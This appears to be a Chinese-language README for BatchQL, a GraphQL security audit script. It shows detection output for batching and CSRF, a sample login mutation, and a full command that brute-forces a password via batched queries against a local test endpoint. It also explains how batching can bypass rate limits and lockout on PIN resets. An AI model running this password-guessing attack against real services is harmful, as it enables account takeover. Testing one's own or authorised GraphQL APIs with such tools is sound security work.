BatchQL 是一个专注于执行批量 GraphQL 查询和变更的 GraphQL 安全审计脚本。该脚本并不复杂,我们欢迎改进。
在探索 GraphQL 批量攻击的问题空间时,我们发现互联网上有一些博客文章,但缺乏用于执行 GraphQL 批量攻击的工具。
根据所实现的功能,GraphQL 批量攻击可能相当严重。例如,假设有一个密码重置功能,需要输入发送到您邮箱的 4 位数 PIN。使用此工具,您可以在单个 GraphQL 查询中尝试所有 10,000 个 PIN 尝试。根据密码重置流程的实现细节,这可能会绕过任何速率限制或帐户锁定。
该工具能够检测以下内容:
目前,该工具仅支持发送基于 JSON 列表的查询以进行批量攻击。它支持变量嵌入在查询中或通过 JSON 输入提供的场景。
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
上述命令执行以下操作:
--query acc-login.txt--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080